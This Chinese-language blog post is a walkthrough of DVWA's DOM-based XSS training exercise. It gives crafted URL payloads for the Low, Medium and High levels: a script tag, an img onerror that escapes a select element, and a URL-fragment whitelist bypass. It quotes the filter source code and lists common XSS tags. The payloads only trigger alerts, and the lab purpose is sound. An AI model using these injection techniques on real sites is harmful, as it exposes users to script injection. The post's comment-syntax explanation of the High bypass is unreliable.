something about DVWA - XSS(DOM)

DVWA

DVWA => 备份地址

XSS(DOM)

XSS是跨站脚本攻击Cross-site scripting。 DOM类型的XSS是基于DOM文档对象模型的一种漏洞。

Low

  • 手动测试

    在URL中构造恶意参数:

    1
    2
    3
    # %3C <
    # %3E >
    http://train.com/dvwa/vulnerabilities/xss_d/?default=<script>alert("bad");</script>
  • 源码分析

    纯前端内容,无特殊。

Medium

  • 手动测试

    由于禁止了<script>标签,因此改用<img/>标签的onerror机制。

    构造恶意URL:

    1
    2
    3
    # `"</select>` 用于闭合`<select>标签`
    # `<img/>` 用于恶意XSS
    http://train.com/dvwa/vulnerabilities/xss_d/?default="</select><img src="1" onerror="alert('bad');"/>
  • 源码分析

    • 禁止<script>标签:

      1
      2
      3
      4
      5
      # Do not allow script tags
      if (stripos ($default, "<script") !== false) {
      header ("location: ?default=English");
      exit;
      }

High

  • 手动测试

    尽管采用了白名单机制,但是,由于phphtml注释符的差异性,可以绕过;即php注释掉的内容,在html中会正常渲染。

    构造恶意URL

    1
    http://train.com/dvwa/vulnerabilities/xss_d/?default=French#<script>alert("bad");</script>
  • 源码分析

    采用白名单机制。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    # White list the allowable languages
    switch ($_GET['default']) {
    case "French":
    case "English":
    case "German":
    case "Spanish":
    # ok
    break;
    default:
    header ("location: ?default=English");
    exit;
    }

Impossible

  • 源码分析

    服务端不做过多处理,客户端做防护:浏览器过滤XSS,过滤用户输入等。

XSS常用标签

  • script

    1
    <script>alert("bad");</script>
  • img

    1
    <img src="nothing" onerror="alert('bad');" />
作者

cSan

发布于

2021-12-05

更新于

2021-12-05

许可协议